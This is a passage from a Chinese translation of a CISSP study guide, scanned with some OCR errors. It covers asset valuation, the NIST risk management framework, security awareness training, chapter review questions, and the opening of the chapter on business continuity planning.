了 新的对策部署是物有所值的 。
2.3.9 资产评估
风险分析的一个重要步骤是评估企业的资产价值 。 如果资产没有价值可言， 那么 也就没有必要
为其提供保护 。 风险分析的一个主要 目 标就是确保部署的安全防护措施是符合成本效益原则的 。 花
第 2 章 人员安全和风险管理概念
费 100 000 美元来保护一项价值只有 1 0∞ 美元的资产是毫无意义的 。 资产价值直接影响并引 导 了保
障和安全保护的水平。 作为一项规则， 安全防护措施的年度成本不应超过预期的资产损失年度成本。
当评估资产成本时， 需要考虑到许多方面 。 资产估值的 目 的是给资产分配具体的货币 价值， 包
括有形和无形价值。 确定资产的精确价值通常是很困难的或不可能的， 尽管如此， 具体的价值必须
被确定(注意， 定性与定量的风险分析可以说明这个问题)。 不合适地为资产分配价值会造成不能适
当地保护资产或无法在财政上支持防护措施。 下面列出 了对有形资产和无形资产的估值有所帮助的
一些问题:
• 购置成本
• 开发成本
• 经 营或管理成本
• 维护或保养成本
• 获得资产的成本
• 保护或维持资产的成本
• 所有者和用 户 的价值
• 竞争者的价值
• 知识产权或资产的价值
• 市场评估(可维持的价格)
• 产 品换代成本
• 生产率提升或下降
• 资产存在和损失的运营成本
• 资产损失责任
• 用 处
为组织分配或确定资产的价值可以满足很多要求。 资产伯值可以作为通过部署防护措施， 从而
实现资产保护的成本/效益分析的基础， 可以作为选择或评估防护措施和对策的方法， 能够为保险 目
的提供资产价值并为组织确定总净值， 有助于高层管理部门 正确了解组织内部的风险。 了解资产价
值还能帮助人员避免疏忽， 进行适当 的关注， 并激励他们服从法律要求、 行业规章 以及内部的安全
策略。 风险分析的最后一项关键任务就是风险报告。 风险报告包括制作风险报告书并将其呈现给利
益相关方。 对许多企业来说， 风险报告只 是作为内部的一个参考， 而其他的一些企业可能会规定必
须 由第三方或公众来报告他们 的风险结果。
风险报告对于整个组织应该是准确及时且全面的， 能清晰和准确地支持决策的制定和定期更新。
2.3. 10 持续改进
风险评估可以为高层管理人员提供细致的分析， 以帮助其决定哪些风险应该规避， 哪些应该被
转移， 以及哪些应该被接受。 其结果就是根据成本效益原则， 在预期资产损失成本和应对威胁以及
漏洞的安全措施部署成本之间进行比较。 风险分析可以识别风险、 量化威胁的影响 ， 并有助于安全
预算， 还有助于将企业的 目 标和宗旨与安全策略的需求和 目标整合在一起。 风险分析/风险评估是对
"时间点" 的度量。 威胁和漏洞在不断变化， 因此， 风险评估需要定期进行， 以确保系统安全性得
以持续改进。
安全性总是在不断变化。 因此， 随着时间的推移， 任何己经实现的安全解决方案都需要更新和
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CISSP 官方学 习指南(第 7 版)
更改。 如果不是由选定的对策提供连续的完善路径， 那么应该将其替换为可以为安全性提供灵活改
进的对策。
2.3.11 风险框架
风险框架是关于如何评估风险、 解决风险和监管风险的指南或诀窍。 CISSP 考试中所提到的关
于风险框架的主要案例 由美国国家标准技术研究所(NIST)在 800-37 专 业出版物中做出 了 定义
(http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-37r l .pdf)。 我们鼓励大家阅读整本出版
物 ， 以下为该出版物中关于 CISSP 的一些内 容节选。
节选
该出版物提出 了一些将风险管理系统(Risk Management Framework， 盯在F)应用于美国联邦信息
系统的方法。 风险管理系统包括 6 步: 安全分类、 安全控制的选择、 安全控制的实现、 安全控制的
评估、 信息系统的授权和安全控制的监管。 风险管理系统通过实施强劲且持续不断的监管过程， 促
进实时风险管理概念和不间断的信息系统授权概念的提升， 同时可向高层领导者提供必要的信息，
帮助其在组织信息系统方面做出基于风险且划算的决定 ， 以支持其核心任务和商业功能。 另外， 风
险管理系统将信息安全与公司系统结构以及系统开发生命周期相结合， 通过风险管理(功能)将信息
系统层面的风险管理过程与组织层面的风险管理过程相联系， 为部署在组织信息系统中并使用这些
系统的安全控制建立责任和 问 责一体化制度。 风险管理系统有 以 下特点 :
54
• 通过实施强劲且持续不断的监管过程促进实时风险管理概念和不间断的信息系统授权概念
的提升。
• 鼓励通过自 动化操作， 向 高层领导者提供必要的信息以帮助他们在组织信息系统方面做出
基于风险且划算 的决定 ， 以 支持他们的 核心任务和商业功能。
• 将信息安全与公 司系统结构 以及系统开发生命周期相结合。
• 强调选择、 实施、 评估、 安全控制 的监管以及信息系统的授权。
• 通过风险管理(功能)将信息系统层面的风险管理过程与组织层面的风险管理过程相联系。
为部署在组织信息系统中井使用这些系统的安全控制建立责任和问 责一体化制度。 风险管理系
统的步骤包括(详见图 2.7):
分类 对信息系统和基于影响 分析做过处理、 存储和传输的系统信 息进行分类 。
选择 基于安全分类选择该系统安全控制的初始化基线集: 根据风险和当地情况的组织评估调
整和补充安全控制基线 。
实施 实施安全控制并描述如何在信息系统和操作环境中部署控制 。
评估 使用恰当的评估步骤评估安全系统， 确定一个范围， 在此范围内可以保证控制的正确实
施、 按计划运行且达到系 统安全要求的预期效果。
授权 基于对组织操作以及信息系统操作涉及的资金、 个人、 其他组织和国家风险的确定而授
权信息系统操作 ， 并确定风险是可接受的 。
监控 不间断地监控信息系统中的安全控制， 包括评估控制的有效性、 记录系统变化或操作环
境的变化、 进行相关变化的安全影响分析 以及向特定组织报告系统的安全状态。
[源自NISTSP 800-37}
第2章 人员安全和风险管理概念
架构描述 流程概述 组织输入
架构参考模型 法律、 指令 、 策略、 指导方针
部分和解决方案架构 起点 策略 目 标和目的
任务和业务流程 优先级和资源可用性
信息系统边界 供应链考虑
步骤
分类
1 吨'
信息系统
步骤 5 步骤 2
监控 选锋
安全控制 安全控制
舍
风险管理
框 架 +
步骤 5
步骤 3
实施 批准 安全控 制 系统信息 步骤 4
i平估
... 安全控制 ‘回
图 2.7 风险管理框架 的 6 个步骤
美国国家标准技术研究所(NIST)的出版物中有更多关于风险管理系统的细节描述; 请阅读该文
献 以便全面理解风险框架。
尽管 CISSP 考试主要关注的是 NIST 的风险管理框架但MF)， 但你也应该了解现实生活中使用
的其他风险管理框架的类型。 请考虑可操作的关键威胁、 资产和脆弱点评估(OCTAVE) ， 信息风险
要 素分析σAIR)和威胁代理风险评估(TARA) 。 如果想要获取更多信息 ， 请阅读以下文章:
www.csoonline.com/article/2 1 25 140/m巳trics-budgets/it-risk-assessment-frameworks--real-world-experienc
e.html 。 了解目前的公认框架并选择适合企业要求和风格的框架 。
2.4 建立和管理信息安全教育 、 培训和意识
安全解决方案的成功实现要求改变用户 的行为方式。 这些变化主要从改变常规的工作方式一直
到遵守安全策略中规定的标准、 指南和程序。 行为的改变包括部分用户开展一定程度的学习工作。
为 了开发教育、 培训和意识， 所有相关项 目 的知识转移必须清楚地识别和加以程序演示、 曝光、 协
同和实施方案制定。
实际的安全培训 的先决条件是意识。 培养安全意识的 目 标是要将安全放到首位并让用户 认识到
这一点。 意识在整个组织机构之间建立了 通用的安全理解基线或基础。 通过课堂式的练习 以及实际
的工作环境都能培养出 安全意识。 许多工具都可以被用于培养安全意识， 例如海报、 通知、 时事通
讯文章、 屏幕保护程序、 T 恤衫、 经理振奋人心的讲话、 告示、 演讲、 鼠标垫、 办公用品 、 备忘录
以及传统的 由 教师 引 导 的培训课程。
安全意识关注于与安全有关的重要或基础的话题和问题。 所有人员应充分认识到他们的安全责
任和义务。 他们应该接受培训 ， 知道什么该做， 什么不该做。
55
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CISSP 官方学 习 指南(第 7 版)
用 户需要知道的 问题包括避免琅费、 欺骗和未经授权的活动。 组织的全体成员 ， 从资深的管理
者到临时的实习人员 ， 都需要同等程度的安全意识。 组织的安全意识培养过程应该与其安全策略、
事件处理计划和灾难恢复措施紧密相关联。 构建安全意识的过程要做到有效， 必须有创新、 有创造
力和经常更新。 意识的构建过程还应当涉及理解公司文化如何影响针对个人的安全性以及整个组织
机构的安全性。 如果员工没有看到安全策略和标准的实施， 尤其是没有意识到这种情况， 那么他们
可能不会觉得遵守安全策略和标准是 自 己的义务。
培训是教导员工执行工作任务和遵守安全策略。 通常由 组织主持进行， 面向从事相似工作的人
群。 所有的新员工都需要进行某种程度的培训， 从而使他们能够遵守安全策略中规定的所有标准、
指导方针和步骤。 新用户需要知道如何使用 π 基础设施、 数据存储的位置以及如何和为什么要对资
源分类。 许多组织在授权新员工访问网络之前都会选择对新员 工进行培训 ， 而其他一些组织则会为
新用户授予有限的访问权限， 直至特定工作职位的培训完成。 培训是持续进行的活动 ， 每位员工在
组织中 的工作期间都必须持续接受培训11 。 培训被认为是一种行政管理性安全控制 。
意识和培训11往往是内部提供的， 这意味着教学工具是由 组织在内部自 己创建和部署的 。 不过，
下一个知识传播层次往往是从外部第三方获得的。
教育是一项更细致的工作， 学生/用户 需要学习 比他们完成工作任务实际所需知识多得多的知
识。 教育最常与用户参加认证考试或寻求职务晋升关联。 接受教育通常是个人成为安全专家的要求。
安全专家需要掌握大量的安全知识并 了解整个组织的本地环境， 而不是只 了 解其特定的工作任务。
对机构内 的意识、 培训和教育要求适时地进行评估， 且应遵循一定 的周期。 培训工作应该根据
工作发展及时更新和调整。 另外， 应该采用新颖大胆的思维方法， 保持内 容与时俱进。 如果不对内
容相关性进行周期性审核 ， 内 容会变得陈旧 ， 员工可能会倾向于自我修补指导方针和步骤。 有必要
成立安全治理团队和安全规则 ， 提供培训和教育 以促进这些规则 的实施。
2.5 管理安全功能
为管理安全功能， 公司必须采纳恰当且充分的安全治理。 实施风险评估以确保安全策略是管理
安全功能最显著直接的实例 。
安全必须符合成本效益原则 。 由于公司预算有限， 因此必须合理分配其资金。 此外， 公司预算
需要包括专门用于安全管理和处理其他商业任务和流程的费用 ， 而不 只是包括员工酬劳 、 保险费、
退休费等。 安全性应该足以抵挡对公司 的传统或标准威胁， 其花费不应该比其需要保护的资产还多。
参考前面章节提到的 " 了解和应用风险管理概念"， 如果保护措施的花费比资产价值本身还高， 就不
是有效的解决方案。
安全必须可度量。 可度量的安全意味着安全机制功能的多个方面能提供明确收益， 且可以记录
和分析一个或多个度量。 同性能度量相似， 安全度量是与安全特性相关的性能、 功能、 操作、 行动
等的测量。 当实施对策或防护措施时， 安全度量应减少意外事件的发生或探测出更多的尝试。 否则 ，
就不能称安全机制提供了预期的效益。 测量和评估安全度量的行为是评估安全项 目 完整性和有效性
的实践， 应该包括评测常见的安全指导方针和追踪控制的成功案例。 追踪和评估安全度量是确保安
全治理有效的一部分。 然而， 需要指出的是， 如果选择的安全度量不正确 ， 则会导致重大问题。 例
如 ， 选择监管或评测安保人员无法控制 的事物或选择基于外部驱动的事物。
安全机制本身和安全治理过程都会消耗资源。 很明显， 安全机制应消耗尽可能少 的资源， 尽可
第2章 人员安全和风险管理概念
能低地影响生产率或系统吞吐量。 然而， 所有硬件、 软件对策以及用户需要遵守的各项政策、 程序
都会造成资源消耗。 在选择、 部署和协调对策之前和之后意识到井评估资源消耗是安全治理和管理
安全功能的重要部分。
安全管理功能包括信息安全策略的开发和执行。 CISSP 考试及本书的大部分内容关注的都是信
息安全策略开发和执行的各个方面。
2.6 本章小结
在任何安全解决方案中， 人都是最薄弱的环节。 无论部署怎样的物理或逻辑控制， 人总能发现
避免受到控制、 回避或消除控制以及禁止控制的方法。 因此， 在为 自 己所处的环境设计和部署安全
解决方案时， 要将用户的因素考虑进去， 这一点非常重要。 安全的人员雇佣、 角色、 策略、 标准、
指导方针、 措施、 风险管理、 意识培训 以及管理计划编制等方面都有助于保护资产。 使用这些安全
结构能够对人为的风险提供某些保护 。
安全的人员雇佣需要详细的工作描述。 工作描述被用于作为选择候选人和根据职位进行正确评
估 。 通过工作描述维持安全性， 这包括职责 分离 、 工作职责和 岗位轮换。
为了保护组织和现在的员工， 需要有解雇策略。 终止合同的过程应该包括: 有证人在场、 归还
公 司 的财-产、 禁止访 问 网络 、 进行离职面谈以及由人员护送离开公司。
第三方治理是可能由法律、 法规、 行业标准或许可要求规定的监督制度。 实际的治理方法可能
有所不同， 但通常包括外部人员或审计人员 。 这些审计人员可能会由管理机构指定 ， 也可能是 目 标
机构雇佣 的顾 问 。
确定、 评估、 防止或减少风险的过程被称为风险管理。 风险管理的主要 目 的是要将风险降低到
可 以接受的级别。 究竟要达到哪个级别 ， 主要取决于组织、 资产价值、 预算多少。 尽管设计和部署
完全没有风险的环境是不可能的， 但是， 付出很少的努力显著地减少可能出现的风险还是可能的 。
风险分析是达到风险管理 目 标的过程， 这个过程包括: 分析环境中存在的风险， 评估每种风险发生
的可能性和造成的损失， 评估每个风险的不同对策的成本， 以及生成安全措施的成本/效益报告并呈
交给上层管理者。
安全解决方案的成功实现要求改变用户的行为方式。 这些变化主要从改变常规的工作方式一直
到遵守安全策略中规定的标准、 指导方针和步骤。 行为的改变包括部分用户开展一定程度的学习工
作 。 三种被公认的学习层次是: 意识、 培训和教育 。
2.7 考试要点
知道隐私如何被放入 IT 安全领域。 知道隐私的多重含主U定义， 为什么保护它是非常重要的 ，
以及围绕隐私尤其是在工作环境中的隐私的各种 问题。
能够讨论安全的第三方治理。 第三方治理的监督制度可以根据法律、 法规、 行业标准或许可要
求进行强制执行 。
能够定义整体的风险管理。 风险管理的过程如下: 识别可能造成数据损坏或泄漏的因素、 根据
数据的价值与对策的成本来评估这些因素， 以及实现能够减轻或降低风险的有成本效益的解决方案。
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CISSP 官方学习指南(第 7 版)
通过执行风险管理， 就能够为降低整体风险奠定基础 。
理解风险分析及涉及的要素。 执行风险分析能够为上层管理者提供详细、 必要的依据 ， 从而使
其决定哪些风险应当被削弱、 哪些风险应当被转移以及哪些风险应当被接受。 为了全面评估风险和
随后采取恰当 的防范措施， 就必须分析下列要素: 资产、 资产估值、 威胁、 脆弱性、 暴露、 风险、
己发生的风险、 防护措施、 对策、 攻击和突破。
知道如何评估威胁。 威胁可能有很多来源， 包括 町、 人和 自 然界。 以团队的形式评估风险以便
提供范围最广的视角 。 通过从各个角度全面地评估风险， 就可 以减少系统的脆弱性。
理解定量的风险分析。 定量的风险分析关注硬性指标和百分比。 全部使用定量分析是不可能的，
因为风险的某些方面是无形的。 定量的风险分析过程涉及: 资产估值和威胁识别， 接着确定威胁发
生的潜在频率和损失 ， 结果是防护措施的成本/效益分析。
能够解释暴露因子(EF)的概念。 暴露因子是定量风险分析的一个元素， 表示组织的某种特定资
产被己发生的风险损坏后造成损失的百分比。 通过计算暴露因子， 能够较好地实现风险管理策略。
了解单一损失期望(SLE)井知道如何计算。 SLE是定量风险分析的一个元素， 表示与针对特定资
产的单个己发生风险相关联的成本。 计算SLE时， 可 以使用公式: SLE=资产价值(AV)*暴露因子但F)。
理解年发生比率(ARO)o ARO 是定量风险分析的一个元素， 指的是特定威胁或风险在一年内将
会发生(也就是成为现实)的预计频率 。 理解 ARO 能够进一步计算风险和采取适当 的防范措施。
了解年度损失期望(ALE)井知道如何计算。 ALE 是定量风险分析的一个元素， 指的是针对某种
特定的资产， 所有己实施的威胁每年可能造成的损失成本。 计算 ALE 时可以使用公式: ALE=单→
损失期望(SLE)*年发生 比率(ARO)。
了解评估防护措施的公式。 除了确定防护措施每年的成本外， 还必须计算实现措施后资产的
ALE。 为此， 可 以使用下面这个公式: 实现防护措施前的 ALE-实现防护措施后的 ALE-每年的防护
措施成本=公司 防护措施的价值， 即 (ALEl - ALE2) - ACSo
理解定性的风险分析。 定性的风险分析更多是根据场景而不是根据计算。 这种方式不是为可能
发生的损失分配准确的货币价值， 而是按程度将威胁分成等级 ， 从而评估其风险、 成本和影响。 这
些分析结果可 以帮助那些负责制定风险管理策略的人。
理解 Delphi 技术。 Delphi 技术只是一个简单的匿名反馈和响应过程， 这个过程被用于达成一致
意见 。 达成的一致意见为责任方提供了 正确评估风险和实施解决方案的机会。
了解处理风险的选项。 降低风险或风险缓解是防护措施和对策的实现。 风险转让或转移风险是
把风险带来的损失成本转移给另一个实体或组织。 购买保险就是转让或转移风险的一种常见形式。
接受风险是因为管理层对可能采用的防护措施进行了成本/效益分析上的评估， 并且确定对策的戚本
远远超过风险可能造成的损失的成本， 还意味着管理层己经同意接受风险发生所造成的结果和损失。
能够解释总风险、 剩余风险和控制间隙。 总风险指的是在没有实现防护措施的情况下， 组织将
要面对的风险数量 。 计算总风险的公式是: 威胁*脆弱性*资产价值=总风险。 剩余风险是管理层选
择接受而不是缓解的风险。 总风险和剩余风险之间的差值被称为控制间隙， 控制 间隙是指通过实现
防护措施被减少 的风险数量 。 计算剩余风险的公式是 : 总风险 控制 间 隙=剩余风险 。
理解控制类型。 "访问控制 " 这一术语指的是一系列执行以下任务的控制=确保只有授权用户
能够登录而未授权用户不能访问 资源。 控制类型包括预防、 测探、 校正、 警报、 恢复、 指令和补偿
控制 。 按执行方式控制可分为: 行政管理性控制、 逻辑性控制或物理性控制 。
理解雇佣新员工的安全含义。 为了制定合适的安全计划， 必须具有工作描述、 工作分类、 工作
任务、 工作职责、 阻止共谋、 候选人筛选、 背景调查、 安全许可、 雇佣协议和竞业禁止协议的标准。
第2章 人员安全和风险管理概念
通过部署这些机制 ， 确保新雇佣 的人员 意识到要求的安全标准 ， 从而保护组织的资产。
能够解释职责分离。 职责分离属于安全概念， 指的是将关键的、 重要的和敏感的工作任务分配
给不同 的人 。 通过分离责任这种方式， 就可 以确保任何人不可能危及系统安全。
理解最小特权原则。 最小特权原则表明 ， 在安全环境中 ， 用户应该被授予完成要求的工作任务
或工作职责所必需的最少访问权限。 通过限制用户 只 能访问完成工作任务所要求的那些资源， 就能
限制敏感信息 的脆弱性 。
了解岗位轮换和强制性休假是也4要的 。 岗位轮换有两个作用 : 提供了一种知识元余类型 : 人员
流动可以减少伪造、 数据更改、 偷窃、 阴谋破坏和信息滥用 的风险。 一到两个星期的强制性休假被
用于审计和认证员 工 的工作任务和权限 。 这种做法往往 比较容易发现滥用 、 欺诈或疏忽行为。
理解供应商控制、 顾问控制和承包商控制 。 利用供应商控制、 顾问控制 以及承包商控制来确定
这个主要组织外部的不同实体、 个人或机构的绩效水平、 期望值高低、 薪酬水平以及影响程度。 通
常情况下， 服务水平协议(SLA)的文件或政策中会对这些控制进行明确规定。
能够解释适当的解雇策略。 解雇策略定义了解雇员工的过程， 应当包括: 始终有一位证人在场，
禁止员工访 问 网络， 进行离职面谈， 护送员工离开办公室 ， 交回安全标志和门卡， 返还公司 的财产。
了解如何实现安全意识培训11。 在真正的培训开始之前， 必须让用户 树立主人翁的安全意识。 一
旦树立了安全意识， 培训或教育员工执行工作任务和遵守安全策略就可以开始了 。 所有的新员工都
需要进行培训11 . 这样他们才能够遵守安全策略中规定的所有标准、 指导方针和步骤。 教育是一项更
细致的工作， 学生/用户需要学习 比他们完成工作任务实际所需知识多得多的知识。 教育往往与用户
参加认证考试或寻求职务晋升相关联。
理解如何管理安全功能。 为了 实现管理安全功能， 组织必须采取恰当且充分的安全治理。 执行
风险评估以驱动安全政策的施行是最明显、 最直接的安全功能管理例子。 同时这也和预算、 度量、
资源 以及信息安全策略 以及评估安全系统的完整性及有效性息息相关 。
了解风险管理框架的 6 个步骤。 风险管理框架的 6 个步骤分别是: 分类、 选择、 实施、 评估、
授权和监控。
2.8 书 面实验室
1 . 指 出 6 种用于保证人员安全的行政管理性控制 。
2. 定量的风险分析中使用 的基础公式有哪些?
3. 描述用于达成在定性的风险评估过程中匿名共识的过程或技术?
4. 讨 论进行平衡的风险评估需求 。 什么是可 以使用 的技术， 为什么这是必要的 ?
2.9 复习题
1 . 以下哪一项是任何安全解决方案中最薄弱 的元素?
A. 软件产品
B. 互联网连接
C 安全策略
59
60
CISSP 官方学习指南(第 7 版)
D. 人
2. 当试图雇佣新员工时， 首 先要做什么 ?
A 创建工作描述
B. 设置职位分类
C 审查候选人
D. 要求简历
3. 以 下哪一项是离职面谈的主要 目的?
A. 返还离职员工的个 人物品。
B. 审查保密协议。
C. 评估离职员工的表现。
D. 取消离职员工的网络访问账户
4. 当员工被解雇时 ， 接下来应该做什么 ?
A. 在他们被正式解雇前几个小时通知员工。
B. 一旦他们被通知解雇 ， 就禁用 员工 的 网络访问权。
C. 发送一封广播的 电子邮件通知大家， 某个员 工将被解雇。
D. 等到你和雇员是楼里唯一剩 下的人时宣布解雇 。
5. 如果一个组织与外部实体签订合同 ， 提供关键业务功能或服务， 例如账户或技术支持。 用 于
确保这些实体能够提供充分的安全性的流程被称为什么 ?
A. 资产识别
B. 第三方管理
c. 离职审查
D 定性分析
6.一一一的一部分是业务流程和组织策略的逻辑和实际调查。 这个过lV策略审查确保定期的和
执行的业务任务、 系统和方法是可行、 有效的， 并且具有成本效益， 但最重要的是(至少相对于安全
治理)， 他们通过减少脆弱性和避免、 减少或缓解风险来支持安全性 。
A. 混合评估
B. 风险规避过程
C. 对策选择
D. 文档审查
7. 以 下哪一项不是正确的 ?
A. IT 安全只 能针对逻辑性或技术性的攻击提供保护 。
B. 实现风险管理 目 标的过程被称为风险分析。
C 对于 IT 基础设施的风险是 以所有计算机为基础的 。
D. 资产是在业务流程或任务中使用 的任何东西 。
8. 下 列哪一项不是风险分析过程 中 的元素?
A. 为风险分析环境。
B. 为 防护措施创建成本/收益报告并提交给上层管理者。
C. 选择适当 的防护措施并实施它们 。
D. 评估每个威胁事件， 及其发生和造成损害的 成本和可能性 。
9. 在风险分析中 ， 下列哪一项一般不会被认为是资产 ?
A. 开发过程
B. IT 基础设施
C 专有的系统资源
D. 用户的个人文件
1 0. 以 下哪一项表示偶然的或有意 的漏洞利用 ?
A. 威胁事件
B. 风险
c. 威胁代理
D. 破坏
1 l . 当 没有或缺乏防护措施和对策时， 会存在什么 ?
A 脆弱性
B. 暴露
c. 风险
D. 渗透
1 2. 下 列哪一项不是有效的风险定义?
A. 几率、 可能性或机会的评估
第2章 人员安全和风险管理概念
B. 移除脆弱性或防止一个(或多个)特定攻击发生的任何事情
c. 风险=威胁*脆弱性
D. 每个暴露实例
13. 当 评估防护措施时， 在大多 数情况下应遵循什么规则 ?
A. 资产年度损失期望成本不应该超过年度的保护成本。
B. 防护措施的年度成本应该等于资产价值。
c. 防护措施的年度成本不应该超过资产的年度损失期望。
D. 防护措施的年度成本不应该超过安全预算的 1 0%。
14. 单一损失期望是怎样计算的?
A. 威胁+脆弱性
B. 资产价值*暴露因子
c. 年发生 比率*脆弱性
D 年发生 比率*资产价值*暴露因子
15. 一家公司 的 防护措施的价值怎样计算 ?
A. 使用 防护措施前的 ALE-使用 防护措施后 的 ALE 防护措施的年度成本
B. 防护前 ALE* 防护措施的 ARO
c. 执行防护后 ALE+年度防护价值- 控制间隙
D. 总风险一控制 间 隙
1 6. 什么安全控制直接关注于防止共谋?
A. 最小特权原则
B 工作描述
c. 职责分离
D. 定量的风险分析
61
62
CISSP 官方学习指南(第 7 版)
1 7. 什么样的流程或事件通常是由组织主持， 针对具有相似工作职能的员工群体?
A. 教育
B. 意识
C. 培训11
D. 解雇
1 8. 以下哪一项没有具体或直接关系到组织的安全功能管理?
A 员工工作满意度
B. 度量
C. 信息安全策略
D. 预算
19. 由于缺少灭火器， 你意识到一场火灾的威胁和脆弱性， 然后开始执行风险分析。 基于这些
信息， 下列哪些是可能的风险?
A. 病毒感染
B. 设备损坏
c. 系统故障
D. 未授权地访 问 机密信息
20 通过特定的威胁/脆弱性/风险关系， 己经执行了基本的定量风险分析。 选择一个可能的对策。
当再次计算时， 下列哪个因素会变化?
A. 暴露因子
B. 单一损失期望
D. 资产价值
D 年发生 比率
第 3 ==二
写亘
业务连续性计划
本章中覆盖的 CISSP 考试大纲包含 :
安全和风险管理(例如 ， 安全、 风险、 合规性、 法律、 法规、 业务连续性)
• G. 理解业务连续性需求
G. l 开发和文档化项 目 范围 和计划
G.2 引 导 业务影响分析
安全运营(例如基本概念、 调查、 事件管理 、 灾难恢复)
• N. 参与业务连续性规划和演 习
不管我们的愿望有多么美好， 总会有这样或那样的灾难袭击每个组织。 无论是像咫风或地震那
样的 自 然灾害， 还是像建筑火灾或水管爆裂那样的人为灾难， 每个组织都会遇到真正威胁运营甚至
生存的事件。
完善的组织拥有合适的计划和措施， 从而帮助它们降低灾难对业务持续运营的影响， 以及快速
恢复正常运营。 由于认识到针对业务连续性和灾难恢复计划的重要性， (Isci 在 CISSP 考试的 GBK
体系中包括 了这两个过程。 这些基本主题的知识将会帮助你准备考试， 并且还能帮助你的组织为意
外突发事件做好准备 。
在本章中 ， 我们探索业务连续性背后的概念。 在第 1 8 章 "灾难恢复计划" 中将继续我们的讨论，
并且深入讨论如果业务连续性控制失败后的具体操作， 以及组织需要在灾难发生之后其操作能够恢
复并再次运行。
3.1 业务连续性计划
业务连续性计划(Business Continuity Planning， BCP)涉及对组织各种过程的风险评估， 还有在发
生风险的情况下为了使风险对组织的影响降至最小程度而制定的各种策略、 计划和措施。 BCP 被用
于在出现应急事件时维护业务的连续运作。 BCP 计划编制人员 的 目 标是实现策略、 措施和过程的组
合 ， 从而使潜在的破坏性事件对业务的影响尽可能小。
BCP 关注于在基础设施功能和资源减少或受限的情况下维持业务操作。 只要维持组织执行关键
CISSP 官方学 习指南(第 7 版)
工作任务的能力的连续性， BCP 就能够被用于管理和还原系统环境。 如果这种连续性受到破坏， 那
么业务过程就会停止， 并且组织进入灾难模式: 此时， 系统将采用灾难恢复计划(Disaster Recovery
Planning， D盯) 。
捏示 :
BCP 和 DRP 首先考虑的往往是人。 这两种计划主要关心的是使人不受到伤害， 然后再解决 IT
恢复和还原 问 题。
业务连续性计划与 灾难恢复计划对比
你应 当 理解业务连续性计划和灾难恢复计划之间 的 差异。 记住此差异的一个简单方式是 BCP 首
先被应用 ， 如果 BCP 努力失败， 那么就会应 用 DRP 步骤。 以 一个位于水坝 下游的数据中心为例。
BCP 努力可能涉及对水坝进行预防性维护并加 固 数据中心， 以 使抵御洪水。
即使付 出 最大的努力 ， 你的业务连续性努力仍然可能失败。 水坝的压力可能超出 其承受的水平
而 出现渍堤， 导致整个地区遭受洪 灾。 在洪水等级过高 时 ， 数据中 心可能无法通过加 固应对如此高
的水位， 以 至于数据 中 ，这遭受洪灾和业务操作中断。 此时， 业务连续性计划所做的努力 失败， 我们
就应 当启用 灾难恢复计划 。
我们将在第 1 8 章中讨论灾难恢复计划 。 上述努力 的最终 目 标是尽可能快速地乓原主数据中心的
业务操作。
BCP 的整体 目标是在紧急情况下提供快速、 沉着和有效的响应， 从而增强公司立即从破坏性事
件 中恢复过来的能力。 (Isci 定义的 BCP 过程包括 以下 4 个主要步骤:
(1) 项 目 范围和计划编制
(2) 业务影响评估
(3) 连续性计划
64
(4) 批准和实现
本章接下来将详细讨论每个阶段， 最后一部分则会介绍在编写组织的业务连续性计划时， 应该
认真考虑的一些关键要素。
3.2 项 目 范 围 与计划
与任何正式的业务过程一样， 开发强大的业务连续性计划需要使用经过认证的一套方法。 下面
是这种要求的具体 内容:
• 业务组织从危机计划编制的角度进行结构化分析 。
• 在 高层管理人员准许的情况下 ， 建立 BCP 团队。
• 评估参与业务连续性活动的 可用 资源。
• 管理组织对灾难性事件做出 反应的法律和法规方面的分析。
你所使用 的实际过程依赖于具体组织及其业务的规模和性质。 实际上， 业务连续性项 目 的计划
编制不存在 " 一刀切" 的指南。 你应当与组织内的项 目 计划编制专业人员进行协商并确定企业文化
内 的最佳运作方式。
第 3 章 业务连续性计划j
3.2.1 业务组织分析
对于负 责 BCP 计划编制的人员 ， 首要职责之一就是进行业务组织分析， 从而确定参与业务连续
性计划编制过程的所有相关部 门和人员 。 分析时需要考虑包括下面的一些领域:
• 负 责为用户 提供核心服务业务的运营部 门 。
• 重要的支持服务部门 ， 如 IT 部门 、 设备维护部门和其他负责对支持运营部门 的系统进行检
修的 团队。
• 高层行政管理人员 和对于组织继续生存来说非常重要的关键个人。
基于两方面原因 ， 这个确定过程很关键。 首先， 确定过程为确定 BCP 团队(参见下一节)的潜在
成员提供了所需 的根据; 其次， 为 BCP 过程的其余部分提供 了 基础 。
通常， 业务组织分析由个别团队完成， 他们是 BCP 工作的先头部队。 这些人一般会使用分析出
的结果， 来帮助进行 BCP 团 队其他成员 的选择工作 ， 这是可以接受的。 当 BCP 团队召集会议时，
对分析结果进行彻底审查， 应该是分配给团 队全部成员 的第一项任务之一。 这个步骤非常关键， 因
为个人最初进行的分析可能会忽略某些重要的业务功能， 这些功能是代表组织其他部分的 BCP 团 队
成员所了解的。 如果团 队继续他们的工作而不对结构分析进行修正， 那么整个 BCP 过程会受到负面
影响 ， 并 导致所制 定的计划不能完整说明组织如何作为整体 ， 在紧急状况下作 出 响应 。
提示 :
组织的每个位直都应 当 具有 自 己的 不 同计划 ， 以便满足该位直的拉特需求。 单个计划应 当 不能
覆盖 多 个位直。
3.2.2 BCP 团队的选择
在许多组织中， π 和/或安全部门被指定对业务连续性计划负有专门 的责任。 运营部门和其他支
持部门在计划编制过程中没有发言权， 甚至都不知道它的存在 ， 直至灾难发生或即将来临。 这是一
个致命的缺陷 ! 独立开发业务连续性计划可能会从两方面导致灾难。 首先， 计划本身没有将那些只
负责日 常业务运作的人的能力情况纳入考虑范围: 其次， 这会使有关计划的操作性说明 要素 " 处在
黑暗之中 "， 直至必须开始实施。这种情况会降低操作要素与计划条款保持一致并有效实施的可能性，
而且否定 了 组织针对计划 的结构化培训和测试程序所取得的成绩。
为了防止这些事件对 BCP 过程造成不利的影响， 负责此项工作的人在选择 BCP 团 队时应当特
别谨慎。 这个团队中应该至少包括下列人员 :
• 来自组织的负责业务所提供核 心服务的每个部 门代表。
• 经过组织结构分析所确认的重要支持部 门 代表 。
• BCP 所涉及领域 内 的具有技术专长 的 IT 代表 。
• 了 解 BCP 过程的安全代表。
• 熟悉公司法律 、 法规和契约责任的法律代表。
• 来 自 高层管理部 门 的代表。
65
CISSP 官方学 习指南(第 7 版)
选择一支有效 BCP 团队的技巧
选择你 的 BCP 团 队时要非常小心 ! 你需要在选择代本不 同观点的人和创建一支具有展示个人差
异的 团 队之间做到平衡。 你 的 目 标是应 当尽可能建立一支人才 多 样化并仍然保持关系协调的 团 队。
